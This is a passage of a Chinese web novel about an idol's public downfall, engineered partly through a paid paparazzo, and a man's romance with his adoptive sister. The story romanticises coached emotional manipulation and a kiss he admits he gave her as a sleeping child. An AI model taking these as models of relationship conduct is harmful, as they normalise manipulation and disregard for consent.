狗仔里没几个好人,百分之八十都是些心思重的只想倒卖艺人明星的资料信息赚钱,张雨萌也因这人是她请过去的所以没有戒心这才着了道被狗仔拍下了视频还故意跟温栩栩的剪辑到一起,这段音频也彻底成为压倒骆驼的最后一根稻草。 把粉丝看做是消耗品只拿来利用的废物,这言论几欲震惊了整个圈子。 第390章 你妹妹被人欺负了你知道吗 把粉丝当做是工具人消耗品这种话也是能随便说的吗? 张雨萌说了这种话这不就是逼着粉丝脱粉吗?她们只是追星不是犯贱啊! 张雨萌仅剩的一部分粉丝在她微博下面追问寻求答案,张雨萌却装死根本不敢做回应。 张雨萌仅有的最后几个死忠粉心灰意冷彻底对其失望并宣布脱粉。剩下的那些也就是些不明事理的,难成大气候。 由张雨萌搞出的这一事端新的词条升上来#论偶像与粉丝的关系# 这词条下难免有人带上温栩栩的名字,江恒的粉丝也表示自己哥哥更是温柔体贴甚至为了粉丝揍过尾随他们的工作人员,倒是给江恒又涨了一波粉丝 这一次算是引起娱乐圈的一次粉丝起义,让粉丝们清楚自己的地位,不要再处于一种自己低下认为自己不配的态度,她们和偶像之间是平等的。 这件事有多火爆,画手纷纷画图以作支持,张雨萌被画的尽显丑态撤成为其中的丑角。 张雨萌这辈子都没这么红过,当初被骂现在更是人人都要骂她,热度竟然在这一天超过温栩栩,全因被骂的国民皆知。 …… 狗仔记者叼着烟懒懒散散看网络风向走势,瞧张雨萌彻底玩完自取灭亡了这才十分谄媚的拨了个号码,语气更是小心,“傅总,您交代我办的事我都办好了,现在网络上都是替小姐说话的,那张雨萌翻不了身的!” 傅京礼声音冷淡道,“辛苦费会打给你。” 关于傅家人的事他都会关注,傅嘉誉是他的妹妹,他不会让她如此遭人嘲讽。 狗仔笑呵呵的谢过傅京礼,算计着这笔钱够他吃一辈子了。 他边乐呵边咂舌,心道张雨萌果然是个没脑子的蠢货,既然知道傅嘉誉的身份了不巴结着还发那些奇怪的言论去内涵傅嘉誉新粉的偶像这不是故意找撕找挨骂吗?这事儿都用不少傅嘉誉出手,傅总一句话的事就让你身败名裂的更痛苦些。 张雨萌在酒店房间看着手机上那些来自四面八方朝自己涌来的恶意身体止不住的颤抖,嘴唇发白眼睫止不住的颤抖。 她已经彻底慌了,她真怕这件事闹大了会被圈子封杀,她喜欢站在舞台上喜欢追逐光喜欢让自己万众瞩目,她呜咽着冲动的冲出酒店房间。 酒店走廊有几个工作人员挤在一起三三两两挤眉弄眼的笑,脸上的表情赫然带着讥讽,声音不小议论的就是张雨萌,什么荡妇羞辱婊子的过分话都骂出来了。 张雨萌出生在张家,张家在A市也算得上是有点名头的小家族,她自诩自己算是个千金小姐,所以此刻也不肯低下头颅。 张雨萌愤怒的停下脚步,哪怕到这一步也不能放下自己张家小姐的骄傲要让这等下贱的剧组工作人员道歉,不然就彻底辞掉他让他滚蛋。 那开口侮辱嘲讽她的工作人员见人下菜碟十分嚣张,“有本事你就真把我辞了,你敢辞了我我就敢到外面说是你开除了我,因为今天这些事把火气都撒到我们身上,把我们当做牺牲品!” 她已经沦落到这地步,不能继续堕落有更多黑料了。 张雨萌眼神躲闪的狂奔离开,跑远了还能听到那围在一起的剧组人员嬉笑着高声提她的名字嗤笑辱骂。 张雨萌进了电梯就控制不住眼泪,等从电梯里出来上了车早已哭成了个泪人,她伏趴在方向盘上止不住的呜咽。 哭累了哭够了才开车回到张家别墅只为求一线生机,被逼到这份儿上只能回去求父母。 傅嘉誉这事儿江行舟可是一直盯着呢,他本来就是看热闹不嫌事儿大的性子,还特地去微信骚扰傅守越,傅守越因为傅嘉誉的事整个人都没有休息好。 【江行舟】:你妹妹被欺负了你知道吗? 【江行舟】:她原来追过的这个女爱豆张雨萌有印象吗,这东西阴了你妹一把,不过我看着傅京礼好像已经解决了。 【江行舟】:但是傅京礼解决跟你解决那可不是一回事,傅京礼真的只是哥哥,你……可不只是哥哥这么简单吧,反正我瞧着你也没把傅嘉誉当妹妹的意思。 江行舟发的信息还挺多,一点没把自己当外人,戳破了傅守越藏着躲着的心思。 【江行舟】:这种时候她应该正在难过,你不打算回来安慰安慰? 他倒是知道傅守越出国的事儿,但是不知道为什么这么突然,所以提了一嘴。 傅守越先是愣了下然后让助理搜了这两天的资料,果然看到傅嘉誉被遭受的背叛打击。 傅守越想都没想立刻订了最近一班的机票回国,若非是私人飞机需要提前申请航线花费更多时间,傅守越现在就会吩咐人准备上。 他现在也想不得更多,他和傅嘉誉之间的关系到底如何,傅嘉誉有没有想清楚想明白他也不在乎了,他现在只想回国看看妹妹。 他想知道妹妹是不是真的很难过。 他不想她难过,所以他会陪在傅嘉誉身边。 …… 张雨萌回到张家已经是深夜,张家人到点就休息了,给她开门的还是张家的保姆,见她哭成这样也不敢耽搁把张家能主事的都叫下楼,张雨萌的哥哥张雨泽可宠她宠的不行,这会儿见妹妹被欺负这样立刻急了。 “是不是剧组里有人欺负你?雨萌你把那人名字告诉哥,哥一定帮你报复回来!” 在张雨泽眼里张雨萌已经远离温栩栩并且已经离开训练营,温栩栩跟张雨萌没有再合作的可能所以这次的事情绝对跟温栩栩没关系。 还不等张雨萌解释,张父张母也下楼,二老看亲生女儿哭的这么伤心也是勃然大怒,“是不是那个温栩栩欺负你!” 在二老眼里张雨萌绝不会错,错的都是温栩栩,好在一直处理张雨萌那些烂摊子的都是张雨泽,张雨泽还没糊涂到谁都敢去招惹,早猜到温栩栩身后可能有人,但为了捧自己妹妹圆了她拍戏的小心思这才找人建组拍戏捧她当女主角。 在张雨泽看来妹妹应该跟温栩栩那茬早过了,不该总提才是。 第391章 不能低头 “爸妈,雨萌一直在剧组拍戏,怎么还能惹到温栩栩了?这事儿应该跟温栩栩没什么关系。” 张雨泽公道的说了这话,二老一想似乎真是这么回事儿,张雨萌却不说话了,有点没脸说。 张雨萌找父母和哥哥帮自己讨公道却又觉得丢人,只顾着哭,越哭越伤心。 “雨萌,你到底怎么了啊!你说话啊!你一直哭妈怎么知道到底出了什么事!”张母急的直掉眼泪。 张雨萌扑进母亲怀里,“妈!我要怎么办啊,我要被逼退圈了,我该怎么办啊……” 张雨泽眼皮直跳,内心直觉不好,怕不是小妹又得罪了圈子里的人上了热搜。 张雨泽心惊肉跳去翻看微博热搜,顿时胸口发闷,恨铁不成钢咬着牙骂道,“张雨萌!” 张雨萌被喊得一激灵,张母拍着沙发大吼,“你喊她干什么!没看到你妹妹已经在哭了吗!有什么话不能好好说!” 张雨泽气的怒指张雨萌,“妈!你知道她惹了谁吗!她惹了傅氏千金小姐傅嘉誉!” “傅嘉誉是傅家千金,从小被傅京礼和傅守越宠着长大的,惹她那就是惹了傅家啊!A市这圈子就这么大,跟傅家交好的家族数不胜数,别说他们会不会把我们放心上,那些跟傅家交好的家族也会跟我们划清界限!她惹一个傅嘉誉就是惹了A市大半贵族资本!” 张雨泽忍无可忍,“这还是最好的结果,如果傅家咽不下这口恶气跟那些与之交好的家族提几句,我们张家就可以提前准备好申请破产结算了!” 这绝对不是开玩笑。 商场如战场,能做朋友一定不要多个敌人。 中小家族的人哪个不是缩着脖子做事,谁敢跟那圈子的人拿乔?就张雨萌胆大包天去算计傅嘉誉! 傅嘉誉是谁?傅京礼和傅守越唯一的宝贝妹妹,是他们看着长大真正生活在象牙塔内的娇公主! 你算什么你去招惹人家傅家这位小公主! 张雨泽呼哧呼哧不停喘着粗气,恨不能眼前一黑晕过去才好。 张父跟张母还在哄着张雨萌,却也把这些听进去了,张父满面愁容,张母完全不放眼里纠缠,“现在是新社会,哪里有你想的那么多弯弯绕,小孩子家家的做错点事还能把事情闹这么大?她傅家天大的能耐也不能随便欺负人啊!” “是你们女儿先欺负了傅家小姐。”张雨泽憋着气,“再说,什么叫欺负人?傅家现在收拾雨萌收拾我们家网上那些人只会觉得这是众望所归!” “那不是……那不是还有跟傅家对立的财团吗,大不了我们张家就示好盛世,总能护住我们。”张父满脸郁色,思虑良久才想到这一茬。 张雨泽都被气笑了。 “爸,雨萌可不只是招惹了傅嘉誉,她在这之前早就招惹了温栩栩,温栩栩背后到底是谁我不清楚,但是温栩栩跟许愿是情同姐妹,许愿不封杀雨萌设计我们张家就算好的,许愿跟苏青莲一样都是个护短的,为了温栩栩她都绝不可能接纳我们张家!” 张父面色铁青已经知道这事情的严重性,“我明天去傅家道歉,绝对不能因为这件事连累我们张家。” 张雨泽是再疼张雨萌也不能惯她这事儿,“她自己作出来的事情自己去道歉。爸你不用去,明天我带她去傅家赔礼道歉这才算诚意。” 张母不依不饶的护着张雨萌,心疼的不行,“不行!绝对不行让我们雨萌去道歉!这是把我们雨萌当什么了还登门道歉!小打小闹的事情还真要用那强权压人了!要道歉我去道歉!反正雨萌不能去!雨萌是明星啊,这要是被人拍到了这星途就彻底被毁了!” “她不去道歉星途才是真的毁了!” “妈你看看清楚,没有那些人的指使,那群人敢把那段视频播出来吗!这分明是傅家在维护傅嘉誉了!” 张雨泽气的大喊。 张母不依,气的脸都红了。 “反正我就是不许我们雨萌低头!就是不许!” 张雨泽额角狠抽,他被自己母亲这种歪理气的已经不想辩驳了。 “行,这件事妈你爱怎么管怎么管,我是不敢插手了,您就好好的继续宠着捧着您的好女儿.”张雨泽讥讽一句,“我就看着您最疼爱的好女儿是怎么一步步把张家作没的。” 张雨泽言尽于此在这家也待不下去了,离开张家再多呆一秒都是煎熬。 张雨泽摔门走了。 张母气的大骂张雨泽不是个东西,张父在一旁连连叹气也不吭声,张雨萌哭的更厉害,张母不停的继续哄,“雨萌你别怕,妈一定给你讨个公道回来,凭什么他们傅家就这么欺负人的,明天妈就去找她们!” 明明错的是张雨萌,可落在张母眼里自己女儿最委屈,千错万错都是旁人的错,所以张雨萌被养成这骄纵性子跟张母脱不了关系。 张雨萌被张母哄得过了那劲儿又抽抽搭搭的小声道,“妈,我怕这次事情闹太大会有人想封杀我让我再也演不成戏。” “你放心,妈明天就联系上面的人请吃饭把这件事摆平了,一定不给他们这个欺负你的机会。”张母说一不二,本想现在就打电话,但一想这个时间人都休息了,这点打过去实在是有些不知礼数这才作罢。 得了张母准确的回答张雨萌彻底放下心来。 只要不封杀她还让她继续在圈子里她有信心日后还能红还能火能站上更高更大的舞台! 张雨萌抹了把泪还有些哽咽的不敢看微博上那些谩骂她的言论,最后还是张母把人带回房间把人哄睡的。 张母见人睡了才回到跟张父的主卧,进门就在骂着傅家仗着家大业大欺压小家族,一边诅咒一边骂着,张父默默抽着烟一言不发十分惆怅。 张家乱成一团,傅嘉誉却发完那条微博后就不再看热搜了,反正该回应的已经回应了,再有蠢货为张雨萌说话她也懒得理,怕降智。 第392章 给哥哥开个门 傅嘉誉拍了自己打包好的应援物料抛到微博上,温栩栩粉丝还在嘤嘤嘤的坐等抽奖,哪儿还有人搭理那突然冒出来找存在感的张雨萌。 傅嘉誉正准备东西呢,大半夜的就听见门铃响了。 下一秒微信电话响起来,是江行舟,她接通了。 “妹妹,给哥哥开个门。” 傅嘉誉:“?” 有病吗?大晚上不睡觉跑她这里? 知道是江行舟傅嘉誉就不担心了,开门就看到江行舟拎着打包好的一大包东西,看着像是零食的东西被他拎着挤进门来。 “这个时间你不睡觉来我这里做什么?”傅嘉誉忍不住翻了个白眼。 “你不也没睡吗。” 江行舟从那一大包东西里翻出了游戏手柄,还是最新出的限量款,傅嘉誉眼睛跟着亮了下。 江行舟跟傅守越关系好,理论上也算是她半个哥了,她抢过来看了几眼这才开口道:“江行舟,你不要告诉我你也对我有意思。” “……” 江行舟先是沉默,然后整个人似乎受到了惊吓连连后退数步,像是被人逼迫的小可怜一样。 “你少胡说八道,你留我条命啊,我可不想被你哥那疯子满世界追杀。” 傅嘉誉先是愣了下,继而将游戏手柄重新丢到桌上。 “他追杀你做什么,他对我又没意思。” 她语气淡淡的,甚至还带着点嘲讽。 “啊?” “不是?” “你先等会儿?” “傅守越还没跟你说清楚呢?那天我看你们两个对视眼神都要拉丝了啊!” “哦,不仅没有说清楚,人也跑了。”傅嘉誉声音淡淡的:“就像你看到的这样,落荒而逃。” “靠……怂货啊……” 江行舟这话才开口,傅嘉誉就瞪了他一眼。 “不许这么说他,他才不是怂货。” 行,他是小丑他多余。 江行舟捏了捏眉心。 “我给傅守越发了信息,他已经知道网上这些烂事儿了,估计现在已经在飞机上了。” 他本来这个点来就是想来看好戏的,谁知道傅守越压根没跟傅嘉誉说清楚那些事,行,能看的好戏更多了。 傅嘉誉没回江行舟的话,她还在生傅守越的气,江行舟也察觉出来傅嘉誉气性不小,心里为兄弟叹了口气,下一秒又开始幸灾乐祸傅守越活该。 他清了清嗓子把游戏手柄拿出来。 “那什么?来几把游戏?” …… 傅守越从机场赶回来时晨光熹微天才刚蒙蒙亮,而傅嘉誉的公寓亮着灯,傅嘉誉的公寓密码他是知道的。 他想着给她准备早餐再好好安慰傅嘉誉,结果开门就看到江行舟和傅嘉誉两人盘腿坐在地上在玩游戏光碟。 傅守越:“……” 倒是完全没有什么失意的样子,反而是兴致勃勃。 两人都十分专注的看着游戏界面,似乎都没听到开门声,直到一局游戏结束,江行舟才懒洋洋的开口:“呦,回来了?” 其实傅嘉誉听见声音了,余光瞥见傅守越,但她在生气根本不想理人,所以就当什么都没听到了。 “嘉誉。”傅守越开口,傅嘉誉淡淡的看他一眼:“我饿了。” 还可能跟他说话就好。 傅守越心里松了口气。 “我这就去做早饭。”说完,瞥了江行舟一眼:“你也进来帮忙。” 江行舟啧了一声,这才站起身伸了个懒腰。 一晚上没睡陪傅嘉誉打电动又玩别的,他是真有点累。 不过他也知道傅守越估计是不肯让他跟傅嘉誉独处呢,也行吧,帮兄弟洗菜切菜他可以接受,反正全是为了看戏呗。 傅嘉誉这公寓冰箱里的蔬菜水果都是保姆阿姨每隔三天采购一次新鲜的,种类挺多。 傅守越在国外念书吃不惯国外的快餐学会了自力更生自己做饭炒菜,他是很会做饭的。 但是因为心里还在发愁跟傅嘉誉有关的事,有些心不在焉。 满脑子都早饭后要怎么哄人,或者说该不该提起那件事。 想了半天也想不出哥所以然,倒是想到身旁这位很懂女人心的江少爷,思索片刻状似无意的问了句,“我有点事想问你。” 江少爷扒拉白菜帮,“问呐,我等着呢。” “我的一个下属向我咨询一个问题,但我感情经历并不多,所以想代他咨询你。”傅守越斟酌开口。 江行舟往嘴里塞了颗圣女果十分八卦的挑高眉毛,“跟女人有关?那必须问我。”他一副放马过来老子天下第一的欠抽模样。 “哎,其实我觉得你可以问问江行野那个闷骚,俗话说众人拾柴火焰高,我这个喜欢玩弄感情的渣男,指不定出什么馊主意呢。”江行舟想到江行野喜欢看热闹并最喜欢出些烂主意看戏吃瓜。 闷骚? 他知道自己被这么评价吗? 傅守越唇角抽了抽,沉默片刻,“你是想让去私聊他询问?” 他不要脸面的? 江行舟咽下圣女果又掰了根香蕉剥皮咬了口口齿不清道,“直接发群里问不就行了?” “群?什么群?”傅守越在状况之外,“你们还有小团体?拉我进群。” “我忘了你没在群里了。”建立小群体的江行舟啧了一声,“那估计不行,我们群很排外的。” 傅守越似笑非笑睨他,江行舟十分认真的跟他胡言乱语,“我们群不欢迎比我们年纪小的,你太小了。” 傅守越对此只想维护自己名声,“你小,要不比比?” 江行舟被噎了一下,总感觉这话带点龌龊的劲儿。 江行舟香蕉全塞嘴里,就听傅守越抱肩,“我二十八。” 江行舟咳得惊天动地一口香蕉卡在嗓子眼险些没咳死,他弯腰拍着自己胸口骂骂咧咧,“二十八?你他妈……驴吗……” 傅嘉誉听见响动推门扒头,“你们怎么了?” 江行舟一言难尽的看着还像二八少女一样单薄的傅嘉誉,搓了把脸骂傅守越“禽兽”,这才语重心长一副过来人的语气劝傅嘉誉,“嘉誉啊,听哥一句劝,别吊你哥身上了,趁早把他踹了吧,他会搞死你的。” 第393章 男绿茶即将出炉 傅嘉誉:??? 江行舟的话让傅嘉誉听的一愣一愣的,他在说什么骚东西? 让你来当助攻你来这里拆我台? 傅守越把傅嘉誉推出厨房,“他脑子有点问题,你别理他,你去休息。” 傅嘉誉满头雾水的被推出去,而她现在确实还不想理傅守越,所以就没多问。 见傅嘉誉出去了江行舟又紧跟着骂了句禽兽,“二十八啊二十八啊,你怎么不把你那玩意儿锯了呢?真当你家小可爱是那欧美钙片里的人呢……” 傅守越眼角直跳,他这下算是彻底听明白江行舟说什么乱七八糟的了。 江行舟真是整个人都发黄啊! 傅守越一刀狠剁到菜板上,“我说年龄你说什么乱七八糟的!” “哦,年龄啊。”江行舟松了口气心道国内怎么可能有那么变态的人,他混了下又“嗯?”了一声。 “你这么老了?”江行舟满脸震惊。 傅守越“呵”了一声跟他互相伤害,“请问无敌直男江少爷为什么会看过欧美钙片还懂这么多。” 江行舟,“……” 江行舟转脸凶神恶煞,“还咨不咨询大佬了!” “记得拉我进群,少抱团不带我。”傅守越切着菜道,“毕竟我也挺老的。” 江行舟嗯嗯啊啊了一声,“行,回去就把少爷您拉进去,但里面有盛景炎和韩城韩越,你确定你们能聊到一起去而不是把群炸了?” 这就尴尬了。 江行舟算是社交达人,各个圈层各个圈的都有交集,但韩城韩越盛景炎这几人关系太好,且里面还有黎云笙,他们是真正抱团且和傅氏正式交战的,真进去了,那群里真的是硝烟弥漫了。 傅守越啧了一声:“算了” 看来他也知道不方便。 江行舟松了口气:“行了能到正题了吗。” 傅守越嗯了一声,“我那个下属他有个被他看着长大的妹妹,他喜欢他没有血缘关系的妹妹,但是又担心跟妹妹在一起会让妹妹被人攻击……” 江行舟连着呦呦呦几声打断傅守越的话,“哦,后来你就直接跑了惹了妹妹生气是吗” 傅守越面色僵硬了下,“是我的下属。” 江行舟甩着手里的白菜叶在菜板上“啪啪”响,“你哪个下属?我有一个下属?这跟我有一个朋友有什么区别……别这那了,就是你跟傅嘉誉,你就说是不是。” 傅守越闷头切菜,“你都猜出来了还问什么。” 江情圣长吁一声,“照我看啊,嘉誉妹妹对你肯定还是有感情的,不然也不会因为你出国躲她而生气。” 江行舟十分睿智的开口,“我印象中嘉誉妹妹是被你养大的对你十分依赖,你却因为这些原因离开逃跑不敢面对你们的感情,嘉誉妹妹心里肯定难过。” 江情圣说的煞有其事很有点道理。 “这种情况下你就要主动攻击而且脸皮必须要厚,你想要脸就追不到老婆,没有老婆这脸留着有什么用?不如丢了它!”江情圣伸手郑重其事拍拍傅守越的肩,“知道我想让你怎么追你未来老婆吗。” 傅守越十分满意江戏精说的未来老婆,“怎么追。” 江行舟“哎嘿”一声转了个圈后退一步拍了拍傅守越手心,“我给你支招不得给点好处吗?送个礼物什么的是不是。” 傅守越十分冷酷霸总的开口,“哪款哪系列哪一辆什么时候要。” 这是问车呢。 江行舟眼睛亮起来,“路虎最新款SUV三天后就要。” 倒也不是买不起,就是喜欢坑坑朋友坑坑兄弟,毕竟免费的总是更香。 “得嘞。”江行舟十分谄媚道,“老板是这样的,女生啊都比较容易心软,特别是你老婆那种年纪小的更容易心软。你就偶尔委屈一点,你老婆说要赶你回家,你就别要脸了啊抱住你老婆在她耳边用十分可怜的语气说不想离开她,看到她会失眠会做噩梦或者再说点什么更作的。” 江行舟十分聪明的继续支招,“不仅这样还要茶一点。” “如果你老婆接近其他异性你不要先生气嫉妒吃醋,你就十分懂事的离开,或者不离开也行。” “嘉誉妹妹不是跟那个什么温然的交往过吗,可以故意提起温然,嘉誉妹妹提这次的事你就提温然,一直提一直提然后吃醋委屈她如果对你有感情肯定会心软的,然后这时我建议是离开一下然后发信息告诉她知道自己不如谁谁谁,不如他年轻啊不如他有情调啊,不如他怎么怎么样啊,但是你却还是最在乎她,这样你老婆准心软很大的可能会给你打电话解释或者可能会去找你。” “反正一定不要在她面前大男子主义,没有人喜欢这种管天管地的类型,你就以退为进,让她觉得原来她在你心里这么重要你没了她就会活不下去,这样只要她对你有感情不管你们有什么误会她都绝对会原谅你。” 江行舟讲的头头是道,傅守越略有些惊愕觉得这笔钱花的值,“没想到你是有真材实料的。” 傅守越意味深长,“你对你那些情人就用这些手段?” 江行舟扬手,“不,我用不着,我情人都对我死心塌地。” 傅守越“呵”了一声,心里还在消化江行舟叭叭的那些损主意,一个男绿茶即将新鲜出炉。 利用完江行舟,这厮没了价值,等江行舟第无数次把白菜剥到只剩菜心并偷吃了一把草莓后终于被傅守越踹出去当废物点心。 废物点心是个惹人嫌的,没了傅守越就去给傅嘉誉捣乱。 傅嘉誉已经不玩游戏了,正在低头整理那五十份要寄出去的抽奖应援礼物,她特地定制了五十个礼盒箱,将应援物料装在礼盒箱中后还不忘每一个里面放上自己最喜欢的巧克力糖果这才用打包箱整个装起来用胶带绑好。 傅嘉誉装巧克力糖,江行舟盘腿坐一边偷吃,糖纸剥成一座小山。 傅嘉誉打包的太认真,一低头就看到那堆糖纸气的去推江行舟,江行舟十分“懂事”的从桌沿的零食盒子搬过来递给她让她装这些。 所以就说,傅守越为什么跟这么气人的家伙做朋友啊! 第394章 抱歉,情不自禁 傅嘉誉气呼呼的把零食箱子抢过来装零食。 “你,不许再捣乱!” “行行行,我不捣乱。”说完小声哔哔:“不就是几块糖吗……” 傅嘉誉瞪他,他立刻轻咳一声老实了。 江行舟不逗她了,也帮着一起打包,傅嘉誉信不过他还特意每个检查一遍,见没再缺巧克力和零食这才放心的交给他。 江行舟装了没一会儿就放飞自己撇头东看看西看看,低头就瞧见傅嘉誉的手机上显示很多私信信息。 都是张雨萌那些还没有脱粉的粉丝在骂她。 傅嘉誉只是扫了一眼,跟没事人一样关了手机。 他们这边打包好了,傅守越的菜也做好了,他做的都是傅嘉誉爱吃的 傅守越做了份糖醋排骨,麻辣豆腐,菠萝咕咚肉,香辣牛肉,红烧冬瓜和一道炝拌洋白菜,最后是一份奶油蘑菇汤。烤箱也没闲着,这会儿功夫烤了几个纸杯蛋糕当做饭后甜点。 江行舟蹭了顿饭,傅嘉誉没吃多少全被江行舟吃了大半,连纸杯蛋糕都蹭,蹭完还带拿的,一点不要脸最后被傅守越踹走赶出去让人滚蛋。 江少爷这一天过的十分充足满意开心的捧着手心那还热乎着的小蛋糕麻溜滚了。 傅守越把碗筷都收拾了余光却不受控制的落到傅嘉誉身上。 傅嘉誉察觉到他的目光立刻瞪圆小鹿眼瞪他,傅守越忆起江行舟交给他的那些豪言壮语,觉得自己此刻不茶更待何时? 男人,就是要茶! 准备完毕的傅守越低下头,唇角嗫喏片刻,声音十分温柔:“嘉誉,我们谈一谈可以吗。” 傅守越什么时候做出过这幅姿态? 怎么说呢,他现在还是温柔的,但就是跟以往不同的是多了那么几分柔弱的感觉,就好像……傅嘉誉不打算给她机会谈话他可能就会学林妹妹哭出来。 想到这里傅嘉誉浑身鸡皮疙瘩都起来了,她疯了吗。 傅守越和林黛玉?这俩人能有什么挂钩啊!傅守越像鲁智深倒拔垂杨柳才现实! 傅嘉誉回过神了,连着瞪了他几眼:“你走,我不跟你谈。” “你那天晚上不是走的很迅速吗” “我们没什么可谈的,你是哥哥我是妹妹,兄妹之间这么矫情干什么,你快走。” 傅嘉誉看都不打算再看他,转身就要回房间。 傅守越眼皮一跳。 这跟江行舟教的不一样啊。难道是他还不够茶? 想到江行舟说要一直提起温然他的心定了下,这样做有些卑鄙,但也没办法。 “嘉誉,从遇到你开始我身边没有过任何异性,你呢。” 傅守越开口提到这些年的事,但听到傅嘉誉耳朵里就是,哈,狗哥哥分明是想要找茬啊! “嘉誉,你对我这么冷淡是因为温然吗。” 傅嘉誉:“……” 傅嘉誉满头问号,到底跟温然有什么关系? 她觉得那天晚上她都解释的很清楚了,她对温然没有爱,温然也不爱她,有什么可纠结的? 傅嘉誉被气笑了,更不想搭理傅守越。 “果然是因为温然吗。” “我毕竟年长你几岁,温然跟你没有代沟又年轻,你肯定更喜欢年轻的。” “也是,温然成绩优异,你会选择他我当然理解。” “他毕竟是你这些年第一个承认的男朋友。” “你什么都不用说,我都明白的,是我拿不出手。” “温然未来一定会比我有更高的成就,是我不该继续纠缠你……我让你难做了吧。” “早知道你选择了温然,我就不该回国再来打搅你。” “是我扰乱了你平静的生活。” 他一字一句说的话简直是往傅嘉誉心窝上戳。 不是? 有病吗每句都要带温然? 傅嘉誉忍啊忍,忍到最后实在是没忍住。 “你左一句温然右一句温然,我有没有告诉你我们都已经分手了!” “你一直提温然是想吵架吗!” 傅嘉誉眼睛都是红的。 其实江行舟教的那些没什么错,错就错在傅守越压根不会茶,见过大直男装茶吗,就跟你让鲁智深装林妹妹没什么两样,不伦不类。 最重要的是傅嘉誉不吃这一套。 她如果真喜欢绿茶,早跟追过她的一些绿茶学长绿茶学弟在一起了,也轮不到温然和傅守越。 “你一直提温然,你很在乎温然是吗?” “好,那我告诉你,我从小到大交过的第一个男朋友就是温然,我跟他牵手拥抱接吻!我初吻都是给他了,你在乎吗?” 话音才落,眼前投下大片阴影。 傅守越不知何时已经逼近。 他俯身,漆黑的瞳眸不带任何光彩,只有晦暗,他像是很轻微的叹了一口气,捏住她的下巴在她唇上啄吻了下。 “抱歉,我有些情不自禁。” 很轻很轻的吻,打断了傅嘉誉还没说完的物理输出。 她整个人此刻都像是僵在原地,呆呆愣愣的。 “你疯了吗……”傅嘉誉声音很小,但是她的呢喃傅守越却能清楚的听到。 “你对我伸出手说要带我回家那天我就已经疯了。” 他伸出手将她整个人揽抱进怀中,傅嘉誉不矮,但他太高就衬得她整个人娇小了一圈一样,被他整个人圈进怀中,用力的,死死的搂抱着。 她恍惚着,仿佛在此刻回到了幼年时期。 她整个人愣住,鼻端嗅到的都是男人身上淡淡的烟味儿,其实混着他身上的古龙水味道并不难闻。 很少见他抽烟,因为她不喜欢所以傅守越从不在她面前抽烟,只见过两次,一次是傅守越告诉她即将出国念书的时候,另一次就是傅守越从国外回来见到温然那天。 至今仍记得傅守越告诉她即将出国后哄她睡着一个人去了别墅顶层的阳台,那是冬夜,他一个人靠在横栏边,他甚至没有穿冬衣,只套了件羊毛衫,还是少年的他身姿高挺纤瘦,即便是羊毛衫穿在他身上也不显臃肿,多了几分清俊。 傅嘉誉找上来时他脚边多了不少烟头。 那天的夜是很冷的,没有月亮没有星星,她不明白这样的景色有什么可看的。 第395章 我也在爱着你啊 她仍记得那天她看到他时他的眼底都是惆怅和迷茫,像是迷路找不到回家的路在哪里的稚子幼童。 傅守越看到她时第一时间灭了烟,牵着还迷迷糊糊的她回到房内,担心她被冷风吹到感冒特地煮了红糖姜水,她不爱喝也哄着她喝了一整碗,她特别委屈的指控傅守越说:“哥哥,我好像变成了快要出土的红糖姜块啊。” 傅守越笑了。 他长得好看,哪怕是笑起来也是好看的,那张俊秀儒雅的脸上溢满笑意。 她那时也确实呆愣愣的夸他:“哥哥,你真好看。” 明明还在生气被哄着骗着喝了一整碗红糖姜水却还是沉迷他的美色,傅守越笑的眼睛弯弯的,他伸出手揉弄着她的发梢。 “嘉誉也很好看,像是童话故事里的小公主。” 就是像童话故事里面的小公主,美丽稚嫩,善良天真,是生活在象牙塔的小公主,烂漫的让他看到就会一遍遍的唾弃他自己那些肮脏的无法拿出手的感情。 傅守越心里想了很多,傅嘉誉却拉扯着傅守越的衣角忍不住开口:“不要当童话故事的小公主,全部都是笨蛋。” 傅守越怀疑自己听错了。 “为什么不做公主?” “因为是笨蛋,如果我说公主我才不会选王子,骑士才是最好的,最好是……我要做女王,然后身边还有骑士,就像哥哥陪在我身边一样。” 她说起这些时眼睛都是亮晶晶的。 傅守越心尖发颤,挺巧的,傅长海就是想让傅嘉誉继承傅家,然后有他护着她一帆风顺。 “那就是最漂亮的女王殿下。” 她这才满意了,幼稚的不许傅守越走,一定要扯拽着他的衣角才肯入睡。 傅守越就这样望着她的脸一直到天明,这是傅嘉誉不知道的。 傅嘉誉第二次见傅守越抽烟是他回国那天,她介绍温然是自己的男友。 那天在晚宴上受辱,回到家后傅守越哄了她很久,直到深夜才看到傅守越在阳台抽烟。 还是像那个冬日一样在横栏边,一根接一根的抽着,周身烟雾缭绕,走近都能闻到浓重的烟味儿,但同样的看到她走近,傅守越第一时间熄灭了手中的香烟。 那天不算是多好的天气,没有月亮没有星星,她想他总是喜欢看这些乏味的景色。 她打算离开时,傅守越叫住她。 “嘉誉,你喜欢他吗。” 他问出这句话时傅嘉誉的心跳都在加速,那一刻她险些开口说自己不喜欢,却硬生生的咽回去再转身看向傅守越时扬起笑脸说喜欢。 “他对你好吗。”他又问。 温然对她好吗? 算不上好,但一直都是彬彬有礼,像是带着距离感。 是她主动追求了温然,又怎么能奢求温然对她有多深的感情呢?可她还是编出了很多谎话,把在网上看到的一些段子故事加工成她和温然根本不存在的过去。 她说了很多,说到后面她自己都要信了这份感情了。 “挺好的。”傅守越揉了一把她的头,声音很轻很温柔,却又带着几分沉重。 “如果不开心也可以随时来找哥哥,哥哥会一直都在。” 这是他的承诺。 这是傅嘉誉见到傅守越抽烟的时候,每一次似乎都跟她有些关系。 她忆起过去,脑海中傅守越看向她时的眼神也愈发清晰,那时她可能不懂他眼底的挣扎和渴求,可现在好像懂了。 她想了太多太多,这个怀抱也太久了。 她想推开他,倏地听到傅守越在她耳边开口。 “初吻不是他,是跟我。” 什么? 傅嘉誉整个人都愣住了,这一刻她甚至觉得自己听错了。 她什么时候跟傅守越亲过?她怎么不知道? 傅嘉誉推开傅守越,小鹿眼都瞪圆了。 “你胡说,我跟你……除了刚刚就没亲过了!” “我出国前一晚,你抓着我的衣服不准我走,你睡着后我偷亲的,所以你的初吻对象是我不是温然。” 他说起这句话时声音里面似乎都隐隐带着笑意。 好像这是件很光荣的事。 “傅守越,你……”傅嘉誉一时都说不出话来。 傅守越接了她的话:“对,傅守越是疯子是混蛋是对你抱有心思的畜生……” 傅嘉誉似乎有些生气了,她不想理他。 “我没让你骂你自己。”傅嘉誉咬着唇憋不住自己心头的火气,她甚至不知道该不该把这火往他身上撒,平日里旁的什么人说几句傅守越的不是她早就恼了,偏偏……偏偏现在是傅守越在骂他自己。 